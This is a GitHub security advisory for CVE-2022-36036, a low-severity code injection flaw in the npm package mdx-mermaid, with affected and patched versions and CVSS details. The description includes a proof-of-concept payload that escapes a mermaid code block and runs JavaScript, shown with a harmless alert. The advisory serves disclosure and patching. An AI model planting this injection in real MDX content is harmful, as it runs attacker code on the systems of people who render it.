Skip to content

Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Low severity GitHub Reviewed Published Aug 22, 2022 in sjwall/mdx-mermaid • Updated Jan 29, 2023

Package

npm mdx-mermaid (npm)

Affected versions

< 1.3.0
= 2.0.0-rc1

Patched versions

1.3.0
2.0.0-rc2

Description

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

References

@sjwall sjwall published to sjwall/mdx-mermaid Aug 22, 2022
Published by the National Vulnerability Database Aug 29, 2022
Published to the GitHub Advisory Database Aug 31, 2022
Reviewed Aug 31, 2022
Last updated Jan 29, 2023

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

EPSS score

0.042%
(5th percentile)

Weaknesses

CVE ID

CVE-2022-36036

GHSA ID

GHSA-rvgm-35jw-q628

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.